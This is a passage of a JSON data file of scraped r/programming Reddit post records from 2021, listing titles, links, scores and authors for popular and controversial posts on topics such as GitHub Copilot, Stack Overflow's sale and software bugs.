    "url": "https://www.theverge.com/22684730/students-file-folder-directory-structure-education-gen-z",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_pk6bus",
  "url": "https://thechoiceisyours.whatisthematrix.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/pk6bus/the_matrix_resurrections_trailer_dynamically_uses/",
  "title": "The Matrix Resurrections Trailer Dynamically Uses The Current Local Time",
  "body": null,
  "author": "Xen0byte",
  "subreddit": "programming",
  "score": 3748,
  "upvoteRatio": 0.97,
  "numComments": 406,
  "createdAt": "2021-09-08T08:18:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thechoiceisyours.whatisthematrix.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_pjjwt5",
  "url": "https://gizmodo.com/programming-sucks-why-a-job-in-coding-is-absolute-hell-1570227192",
  "permalink": "https://www.reddit.com/r/programming/comments/pjjwt5/coding_sucks_why_a_job_in_programming_is_absolute/",
  "title": "Coding Sucks: Why a Job in Programming Is Absolute Hell",
  "body": null,
  "author": "brendt_gd",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 21,
  "createdAt": "2021-09-07T09:50:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gizmodo.com/programming-sucks-why-a-job-in-coding-is-absolute-hell-1570227192",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_pdjnfr",
  "url": "https://chriskiehl.com/article/thoughts-after-6-years",
  "permalink": "https://www.reddit.com/r/programming/comments/pdjnfr/software_development_topics_ive_changed_my_mind/",
  "title": "Software development topics I've changed my mind on after 6 years in the industry",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 5618,
  "upvoteRatio": 0.95,
  "numComments": 1955,
  "createdAt": "2021-08-28T22:47:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chriskiehl.com/article/thoughts-after-6-years",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_p93vw3",
  "url": "https://streamable.com/2b56qa",
  "permalink": "https://www.reddit.com/r/programming/comments/p93vw3/getting_gplv2_compliance_from_a_chinese_company/",
  "title": "Getting GPLv2 compliance from a Chinese company- in person",
  "body": null,
  "author": "DougTheFunny",
  "subreddit": "programming",
  "score": 6345,
  "upvoteRatio": 0.92,
  "numComments": 1136,
  "createdAt": "2021-08-22T01:56:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://streamable.com/2b56qa",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_p6gz2o",
  "url": "https://btcmanager.com/blockchain-iot-remote-locations-logistics-industry/",
  "permalink": "https://www.reddit.com/r/programming/comments/p6gz2o/how_blockchain_is_disrupting_the_future_of_iot/",
  "title": "How Blockchain Is Disrupting The Future of IoT, From Remote Locations to The Logistics Industry",
  "body": null,
  "author": "Genius02",
  "subreddit": "programming",
  "score": 33,
  "upvoteRatio": 0.56,
  "numComments": 33,
  "createdAt": "2021-08-18T01:13:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://btcmanager.com/blockchain-iot-remote-locations-logistics-industry/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_p5gfl6",
  "url": "https://alexgolec.dev/reddit-interview-problems-the-game-of-life/",
  "permalink": "https://www.reddit.com/r/programming/comments/p5gfl6/engineering_manager_breaks_down_problems_he_used/",
  "title": "Engineering manager breaks down problems he used to use to screen candidates. Lots of good programming tips and advice.",
  "body": null,
  "author": "jfasi",
  "subreddit": "programming",
  "score": 3360,
  "upvoteRatio": 0.95,
  "numComments": 789,
  "createdAt": "2021-08-16T13:49:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alexgolec.dev/reddit-interview-problems-the-game-of-life/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ozb41r",
  "url": "https://www.eff.org/deeplinks/2021/08/apples-plan-think-different-about-encryption-opens-backdoor-your-private-life",
  "permalink": "https://www.reddit.com/r/programming/comments/ozb41r/apples_plan_to_think_different_about_encryption/",
  "title": "Apple's Plan to \"Think Different\" About Encryption Opens a Backdoor to Your Private Life",
  "body": null,
  "author": "tonefart",
  "subreddit": "programming",
  "score": 3631,
  "upvoteRatio": 0.97,
  "numComments": 606,
  "createdAt": "2021-08-06T17:16:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.eff.org/deeplinks/2021/08/apples-plan-think-different-about-encryption-opens-backdoor-your-private-life",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_otwbsj",
  "url": "https://stackoverflow.blog/2021/07/28/700000-lines-of-code-20-years-and-one-developer-how-dwarf-fortress-is-built/",
  "permalink": "https://www.reddit.com/r/programming/comments/otwbsj/700000_lines_of_code_20_years_and_one_developer/",
  "title": "700,000 lines of code, 20 years, and one developer: How Dwarf Fortress is built",
  "body": null,
  "author": "joeljpa",
  "subreddit": "programming",
  "score": 3309,
  "upvoteRatio": 0.98,
  "numComments": 316,
  "createdAt": "2021-07-29T12:16:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.blog/2021/07/28/700000-lines-of-code-20-years-and-one-developer-how-dwarf-fortress-is-built/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_osj2i8",
  "url": "https://blog.perrysun.com/2021/07/15/for-developers-safari-is-crap-and-outdated/",
  "permalink": "https://www.reddit.com/r/programming/comments/osj2i8/for_developers_apples_safari_is_crap_and_outdated/",
  "title": "For developers, Apple’s Safari is crap and outdated",
  "body": null,
  "author": "pimterry",
  "subreddit": "programming",
  "score": 3910,
  "upvoteRatio": 0.92,
  "numComments": 814,
  "createdAt": "2021-07-27T08:50:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.perrysun.com/2021/07/15/for-developers-safari-is-crap-and-outdated/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_oryhnw",
  "url": "https://codesubmit.io/blog/which-degree-for-a-job-in-tech/",
  "permalink": "https://www.reddit.com/r/programming/comments/oryhnw/which_degree_should_you_pursue_to_get_a_job_in/",
  "title": "Which Degree Should You Pursue to Get a Job in Tech?",
  "body": null,
  "author": "AdditionalStrain4659",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.52,
  "numComments": 63,
  "createdAt": "2021-07-26T13:16:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codesubmit.io/blog/which-degree-for-a-job-in-tech/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ohxyqh",
  "url": "https://techraptor.net/gaming/news/amazon-games-personal-game-policy",
  "permalink": "https://www.reddit.com/r/programming/comments/ohxyqh/the_amazon_personal_games_policy_is_ridiculous/",
  "title": "The Amazon Personal Games Policy Is Ridiculous",
  "body": null,
  "author": "tonefart",
  "subreddit": "programming",
  "score": 3006,
  "upvoteRatio": 0.97,
  "numComments": 619,
  "createdAt": "2021-07-11T04:42:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techraptor.net/gaming/news/amazon-games-personal-game-policy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_og8gxv",
  "url": "https://twitter.com/NoraDotCodes/status/1412741339771461635",
  "permalink": "https://www.reddit.com/r/programming/comments/og8gxv/github_support_just_straight_up_confirmed_in_an/",
  "title": "GitHub Support just straight up confirmed in an email that yes, they used all public GitHub code, for Codex/Copilot regardless of license",
  "body": null,
  "author": "sidcool1234",
  "subreddit": "programming",
  "score": 3361,
  "upvoteRatio": 0.95,
  "numComments": 677,
  "createdAt": "2021-07-08T14:35:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/NoraDotCodes/status/1412741339771461635",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_oelyl0",
  "url": "https://www.abc.net.au/news/2021-07-06/open-plan-office-noise-increase-stress-worse-mood-new-study/100268440",
  "permalink": "https://www.reddit.com/r/programming/comments/oelyl0/openplan_office_noise_increases_stress_and/",
  "title": "Open-plan office noise increases stress and worsens mood: we've measured the effects",
  "body": null,
  "author": "alex123711",
  "subreddit": "programming",
  "score": 3562,
  "upvoteRatio": 0.98,
  "numComments": 444,
  "createdAt": "2021-07-06T02:36:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.abc.net.au/news/2021-07-06/open-plan-office-noise-increase-stress-worse-mood-new-study/100268440",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_oeetdo",
  "url": "https://juliareda.eu/2021/07/github-copilot-is-not-infringing-your-copyright/",
  "permalink": "https://www.reddit.com/r/programming/comments/oeetdo/github_copilot_is_not_infringing_your_copyright/",
  "title": "GitHub Copilot is not infringing your copyright",
  "body": null,
  "author": "genericlemon24",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.53,
  "numComments": 45,
  "createdAt": "2021-07-05T19:47:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://juliareda.eu/2021/07/github-copilot-is-not-infringing-your-copyright/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_o9qhz6",
  "url": "https://twitter.com/the_secret_club/status/1409576960838311937?s=20",
  "permalink": "https://www.reddit.com/r/programming/comments/o9qhz6/windows_11_tpms_required_why_your_pc_is_becoming/",
  "title": "Windows 11: TPMs required. Why your PC is becoming an Xbox. An end to privacy and user freedoms",
  "body": null,
  "author": "OWPD",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.56,
  "numComments": 190,
  "createdAt": "2021-06-28T18:39:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/the_secret_club/status/1409576960838311937?s=20",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_o9g8vr",
  "url": "https://www.nintendolife.com/news/2021/06/the_dev_behind_one_of_the_worlds_best_snes_emulators_has_died",
  "permalink": "https://www.reddit.com/r/programming/comments/o9g8vr/the_dev_behind_one_of_the_worlds_best_snes/",
  "title": "The Dev Behind One Of The World's Best SNES Emulators Has Died",
  "body": null,
  "author": "Best_Cauliflowers",
  "subreddit": "programming",
  "score": 3627,
  "upvoteRatio": 0.97,
  "numComments": 581,
  "createdAt": "2021-06-28T08:47:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.nintendolife.com/news/2021/06/the_dev_behind_one_of_the_worlds_best_snes_emulators_has_died",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_o87u9f",
  "url": "https://tomtalks.blog/2021/06/microsoft-teams-2-0-will-use-half-the-memory-dropping-electron-for-edge-webview2/",
  "permalink": "https://www.reddit.com/r/programming/comments/o87u9f/microsoft_teams_20_will_use_half_the_memory/",
  "title": "Microsoft Teams 2.0 will use half the memory, dropping Electron for Edge Webview2",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4040,
  "upvoteRatio": 0.95,
  "numComments": 769,
  "createdAt": "2021-06-26T09:53:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tomtalks.blog/2021/06/microsoft-teams-2-0-will-use-half-the-memory-dropping-electron-for-edge-webview2/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_o570bb",
  "url": "https://www.darkcoding.net/software/a-day-in-the-life-of-a-professional-software-engineer/",
  "permalink": "https://www.reddit.com/r/programming/comments/o570bb/a_day_in_the_life_of_a_professional_software/",
  "title": "A day in the life of a professional software engineer",
  "body": null,
  "author": "sir_rand_a_lot",
  "subreddit": "programming",
  "score": 3176,
  "upvoteRatio": 0.96,
  "numComments": 396,
  "createdAt": "2021-06-21T22:11:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.darkcoding.net/software/a-day-in-the-life-of-a-professional-software-engineer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_o3cap6",
  "url": "https://ntdotdev.wordpress.com/2021/02/06/state-of-the-windows-how-many-layers-of-ui-inconsistencies-are-in-windows-10/",
  "permalink": "https://www.reddit.com/r/programming/comments/o3cap6/state_of_the_windows_how_many_layers_of_ui/",
  "title": "State of the Windows: How many layers of UI inconsistencies are in Windows 10?",
  "body": null,
  "author": "bartturner",
  "subreddit": "programming",
  "score": 4752,
  "upvoteRatio": 0.96,
  "numComments": 839,
  "createdAt": "2021-06-19T09:38:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ntdotdev.wordpress.com/2021/02/06/state-of-the-windows-how-many-layers-of-ui-inconsistencies-are-in-windows-10/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_nze7lk",
  "url": "https://www.youtube.com/watch?v=7ybybf4tJWw",
  "permalink": "https://www.reddit.com/r/programming/comments/nze7lk/doom_running_on_an_ikea_lamp/",
  "title": "Doom running on an IKEA lamp",
  "body": null,
  "author": "swizec",
  "subreddit": "programming",
  "score": 3514,
  "upvoteRatio": 0.96,
  "numComments": 277,
  "createdAt": "2021-06-14T04:08:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=7ybybf4tJWw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_nwfx4l",
  "url": "https://iism.org/article/developers-can-t-fix-bad-management-57",
  "permalink": "https://www.reddit.com/r/programming/comments/nwfx4l/bad_managers_are_a_huge_problem_in_tech_and/",
  "title": "Bad managers are a huge problem in tech and developers can only compensate so much",
  "body": null,
  "author": "adroit-panda",
  "subreddit": "programming",
  "score": 4828,
  "upvoteRatio": 0.97,
  "numComments": 593,
  "createdAt": "2021-06-10T05:27:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://iism.org/article/developers-can-t-fix-bad-management-57",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_nqp54m",
  "url": "https://www.wsj.com/articles/software-developer-community-stack-overflow-sold-to-tech-giant-prosus-for-1-8-billion-11622648400",
  "permalink": "https://www.reddit.com/r/programming/comments/nqp54m/software_developer_community_stack_overflow_sold/",
  "title": "Software Developer Community Stack Overflow Sold to Tech Giant Prosus for $1.8 Billion",
  "body": null,
  "author": "videoj",
  "subreddit": "programming",
  "score": 4171,
  "upvoteRatio": 0.98,
  "numComments": 655,
  "createdAt": "2021-06-02T15:59:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.wsj.com/articles/software-developer-community-stack-overflow-sold-to-tech-giant-prosus-for-1-8-billion-11622648400",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_notvg0",
  "url": "https://www.youtube.com/watch?v=NVMLY21jB04",
  "permalink": "https://www.reddit.com/r/programming/comments/notvg0/hi_i_am_15_i_tried_to_create_a_fruit_ninjalike/",
  "title": "Hi, I am 15, I tried to create a fruit ninja-like game in python, just wanted to share ...",
  "body": null,
  "author": "GrapeJUICE101",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.51,
  "numComments": 10,
  "createdAt": "2021-05-31T04:34:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=NVMLY21jB04",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ng69ye",
  "url": "https://madned.substack.com/p/a-teenagers-guide-to-avoiding-actual",
  "permalink": "https://www.reddit.com/r/programming/comments/ng69ye/in_1982_a_onebit_hack_let_me_dodge_a_summer_of/",
  "title": "In 1982, a one-bit hack let me dodge a summer of filling in potholes",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3598,
  "upvoteRatio": 0.97,
  "numComments": 282,
  "createdAt": "2021-05-19T13:45:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://madned.substack.com/p/a-teenagers-guide-to-avoiding-actual",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_nd26jh",
  "url": "https://blog.cloudflare.com/introducing-cryptographic-attestation-of-personhood/",
  "permalink": "https://www.reddit.com/r/programming/comments/nd26jh/humanity_wastes_about_500_years_per_day_on/",
  "title": "Humanity wastes about 500 years per day on CAPTCHAs. It’s time to end this madness",
  "body": null,
  "author": "Atulin",
  "subreddit": "programming",
  "score": 9607,
  "upvoteRatio": 0.91,
  "numComments": 800,
  "createdAt": "2021-05-15T16:04:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cloudflare.com/introducing-cryptographic-attestation-of-personhood/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_nbepec",
  "url": "https://pirateweather.net/",
  "permalink": "https://www.reddit.com/r/programming/comments/nbepec/for_anyone_using_the_soon_to_shut_down_dark_sky/",
  "title": "For anyone using the soon to shut down Dark Sky API, I've created a free AWS Lambda service that serves weather data using the same request/ response syntax, along with a web front-end and a blog explaining the setup!",
  "body": null,
  "author": "Potentially_Canadian",
  "subreddit": "programming",
  "score": 3076,
  "upvoteRatio": 0.97,
  "numComments": 120,
  "createdAt": "2021-05-13T11:45:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pirateweather.net/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_n9cusw",
  "url": "https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data",
  "permalink": "https://www.reddit.com/r/programming/comments/n9cusw/boeing_787s_must_be_turned_off_and_on_every_51/",
  "title": "Boeing 787s must be turned off and on every 51 days to prevent 'misleading data' being shown to pilots",
  "body": null,
  "author": "dpholmes",
  "subreddit": "programming",
  "score": 4515,
  "upvoteRatio": 0.96,
  "numComments": 627,
  "createdAt": "2021-05-10T18:50:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_n8focj",
  "url": "https://javascript.plainenglish.io/what-is-http-3-and-why-does-it-matter-cb7d7b4b600f",
  "permalink": "https://www.reddit.com/r/programming/comments/n8focj/what_is_http3_and_why_does_it_matter/",
  "title": "What is HTTP/3, and why does it matter?",
  "body": null,
  "author": "AsyncBanana",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.55,
  "numComments": 71,
  "createdAt": "2021-05-09T14:46:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://javascript.plainenglish.io/what-is-http-3-and-why-does-it-matter-cb7d7b4b600f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_n2za7x",
  "url": "https://twitter.com/moyix/status/1388586550682861568?s=21",
  "permalink": "https://www.reddit.com/r/programming/comments/n2za7x/skipping_an_update_on_docker_is_a_paid_feature/",
  "title": "Skipping an update on Docker is a paid feature.",
  "body": null,
  "author": "LewisTheScot",
  "subreddit": "programming",
  "score": 3030,
  "upvoteRatio": 0.97,
  "numComments": 557,
  "createdAt": "2021-05-02T04:45:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/moyix/status/1388586550682861568?s=21",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_myii34",
  "url": "https://layerci.com/blog/crypto-miners-are-killing-free-ci/",
  "permalink": "https://www.reddit.com/r/programming/comments/myii34/crypto_miners_are_killing_free_ci/",
  "title": "Crypto miners are killing free CI",
  "body": null,
  "author": "lyncozy",
  "subreddit": "programming",
  "score": 4030,
  "upvoteRatio": 0.95,
  "numComments": 1473,
  "createdAt": "2021-04-25T21:48:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://layerci.com/blog/crypto-miners-are-killing-free-ci/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_mxkou6",
  "url": "https://www.theverge.com/2021/4/23/22399721/uk-post-office-software-bug-criminal-convictions-overturned",
  "permalink": "https://www.reddit.com/r/programming/comments/mxkou6/bad_software_sent_the_innocent_to_prison/",
  "title": "Bad software sent the innocent to prison",
  "body": null,
  "author": "UrbanIronBeam",
  "subreddit": "programming",
  "score": 3117,
  "upvoteRatio": 0.97,
  "numComments": 347,
  "createdAt": "2021-04-24T14:08:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theverge.com/2021/4/23/22399721/uk-post-office-software-bug-criminal-convictions-overturned",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_mwnz3s",
  "url": "https://markodenic.com/use-google-like-a-pro/",
  "permalink": "https://www.reddit.com/r/programming/comments/mwnz3s/googling_is_one_of_the_most_important_skills_for/",
  "title": "Googling is one of the most important skills for every developer. Here are some tips to Google efficiently!",
  "body": null,
  "author": "mdenic",
  "subreddit": "programming",
  "score": 5494,
  "upvoteRatio": 0.95,
  "numComments": 397,
  "createdAt": "2021-04-23T05:13:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://markodenic.com/use-google-like-a-pro/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_mtjpt4",
  "url": "https://youtu.be/j0UnS3jHhAA",
  "permalink": "https://www.reddit.com/r/programming/comments/mtjpt4/i_made_an_openaipowered_linux_shell_that_does/",
  "title": "I made an OpenAI-powered Linux shell that does what you mean",
  "body": null,
  "author": "riveducha",
  "subreddit": "programming",
  "score": 3856,
  "upvoteRatio": 0.96,
  "numComments": 214,
  "createdAt": "2021-04-18T19:34:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/j0UnS3jHhAA",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ms3ows",
  "url": "https://tools.ietf.org/html/rfc114",
  "permalink": "https://www.reddit.com/r/programming/comments/ms3ows/ftp_is_50_years_old/",
  "title": "FTP is 50 years old",
  "body": null,
  "author": "magenta_placenta",
  "subreddit": "programming",
  "score": 3047,
  "upvoteRatio": 0.98,
  "numComments": 426,
  "createdAt": "2021-04-16T13:56:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tools.ietf.org/html/rfc114",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_moc6ni",
  "url": "https://twitter.com/the_secret_club/status/1380868759129296900?s=19",
  "permalink": "https://www.reddit.com/r/programming/comments/moc6ni/two_years_ago_secret_club_member_floesen_reported/",
  "title": "Two years ago, secret club member @floesen_ reported a remote code execution flaw affecting all source engine games. It can be triggered through a Steam invite. This has yet to be patched, and Valve is preventing us from publicly disclosing it.",
  "body": null,
  "author": "anth2099",
  "subreddit": "programming",
  "score": 3774,
  "upvoteRatio": 0.98,
  "numComments": 250,
  "createdAt": "2021-04-10T20:17:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/the_secret_club/status/1380868759129296900?s=19",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_mnhjnz",
  "url": "https://www.theregister.com/2021/04/08/tui_software_mistake/",
  "permalink": "https://www.reddit.com/r/programming/comments/mnhjnz/airline_software_superbug_flight_loads/",
  "title": "Airline software super-bug: Flight loads miscalculated because women using 'Miss' were treated as children",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 6680,
  "upvoteRatio": 0.97,
  "numComments": 746,
  "createdAt": "2021-04-09T13:46:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2021/04/08/tui_software_mistake/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_mklggn",
  "url": "https://www.supremecourt.gov/opinions/20pdf/18-956_d18f.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/mklggn/in_major_copyright_battle_between_tech_giants/",
  "title": "In major copyright battle between tech giants, SCOTUS sides w/ Google over Oracle, finding that Google didnt commit copyright infringement when it reused lines of code in its Android operating system.",
  "body": null,
  "author": "Plaatinum_Spark",
  "subreddit": "programming",
  "score": 6478,
  "upvoteRatio": 0.97,
  "numComments": 639,
  "createdAt": "2021-04-05T14:04:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
